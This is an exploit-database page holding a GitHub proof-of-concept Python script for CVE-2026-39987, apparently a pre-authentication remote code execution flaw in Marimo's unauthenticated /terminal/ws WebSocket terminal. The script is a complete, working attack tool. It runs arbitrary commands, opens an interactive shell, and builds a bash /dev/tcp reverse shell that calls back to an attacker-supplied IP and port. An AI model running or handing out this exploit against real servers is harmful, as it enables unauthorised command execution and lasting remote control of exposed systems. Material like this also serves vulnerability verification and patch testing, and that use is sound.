Exploit database

GH-4147b69e44950706086edb388c2456a2

0xv01d/cve-2026-39987

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-39987

12 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0xv01d/cve-2026-39987Revision 5e1e93c74007

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 5,175 bytes
#!/usr/bin/env python3
"""
CVE-2026-39987 - Marimo < 0.9.1 Pre-Auth RCE via /terminal/ws

Marimo's notebook server exposes a WebSocket terminal endpoint that provides
a full PTY shell with no authentication required. Any network-reachable client
can execute arbitrary commands as the marimo service user.

Usage:
  python exploit.py <url> <command>           single command, print output
  python exploit.py <url> -i                  interactive PTY shell
  python exploit.py <url> --revshell <ip> <port>   spawn reverse shell

Examples:
  python exploit.py http://target:8888 "id"
  python exploit.py http://target:8888 -i
  python exploit.py http://target:8888 --revshell 10.10.14.5 4444
"""

import argparse
import asyncio
import json
import re
import ssl
import sys

try:
    import websockets
except ImportError:
    sys.exit("[-] missing dependency: pip install websockets")

ANSI = re.compile(r'\x1b\[[0-9;]*[A-Za-z]|\x1b\][^\x07]*\x07|\x1b[()][A-B]|\x1b=|\x1b>|\x07|\x08')


def strip_ansi(s):
    return ANSI.sub('', s)


def unwrap(raw):
    if isinstance(raw, bytes):
        raw = raw.decode('utf-8', errors='replace')
    try:
        d = json.loads(raw)
        for key in ('data', 'output', 'text'):
            if key in d:
                return d[key]
    except Exception:
        pass
    return raw


async def drain(ws, timeout=4.0):
    buf = ''
    try:
        while True:
            frame = await asyncio.wait_for(ws.recv(), timeout=timeout)
            text = unwrap(frame)
            sys.stdout.write(text)
            sys.stdout.flush()
            buf += text
            clean = strip_ansi(buf)
            if clean.rstrip(' ').endswith(('$', '#', '%')):
                try:
                    extra = await asyncio.wait_for(ws.recv(), timeout=0.3)
                    t = unwrap(extra)
                    sys.stdout.write(t)
                    sys.stdout.flush()
                    buf += t
                except asyncio.TimeoutError:
                    pass
                break
    except asyncio.TimeoutError:
        pass
    return buf


async def run(args):
    base = args.url.rstrip('/')
    scheme = 'wss' if base.startswith('https') else 'ws'
    host = base.split('//', 1)[1]
    ws_url = f'{scheme}://{host}/terminal/ws'

    ssl_ctx = None
    if scheme == 'wss':
        ssl_ctx = ssl.create_default_context()
        ssl_ctx.check_hostname = False
        ssl_ctx.verify_mode = ssl.CERT_NONE

    extra = {'ssl': ssl_ctx} if ssl_ctx else {}

    print(f'[*] connecting to {ws_url}', file=sys.stderr)

    try:
        async with websockets.connect(ws_url, **extra) as ws:
            print('[+] connected', file=sys.stderr)
            await drain(ws, timeout=3)

            if args.interactive:
                loop = asyncio.get_event_loop()

                async def stdin_loop():
                    while True:
                        line = await loop.run_in_executor(None, sys.stdin.readline)
                        if not line:
                            break
                        await ws.send(line)

                async def stdout_loop():
                    while True:
                        try:
                            frame = await asyncio.wait_for(ws.recv(), timeout=30)
                            sys.stdout.write(unwrap(frame))
                            sys.stdout.flush()
                        except asyncio.TimeoutError:
                            pass

                await asyncio.gather(stdin_loop(), stdout_loop())

            else:
                await ws.send(args.cmd + '\n')
                await drain(ws, timeout=8)
                # hold the socket open so background processes survive
                try:
                    while True:
                        await asyncio.sleep(1)
                except (KeyboardInterrupt, asyncio.CancelledError):
                    pass

    except (OSError, websockets.exceptions.WebSocketException) as e:
        sys.exit(f'[-] connection failed: {e}')


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-39987 - Marimo pre-auth RCE via /terminal/ws',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__.split('\n\nUsage:')[1],
    )
    parser.add_argument('url', help='target base URL (http[s]://host[:port])')
    mode = parser.add_mutually_exclusive_group()
    mode.add_argument('command', nargs='?', help='single command to run')
    mode.add_argument('-i', '--interactive', action='store_true',
                      help='interactive PTY shell')
    mode.add_argument('--revshell', nargs=2, metavar=('IP', 'PORT'),
                      help='send bash reverse shell to IP:PORT')
    args = parser.parse_args()

    if args.revshell:
        ip, port = args.revshell
        args.cmd = f'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
        args.interactive = False
    elif args.interactive:
        args.cmd = None
    elif args.command:
        args.cmd = args.command
    else:
        parser.print_help()
        sys.exit(1)

    try:
        asyncio.run(run(args))
    except KeyboardInterrupt:
        pass


if __name__ == '__main__':
    main()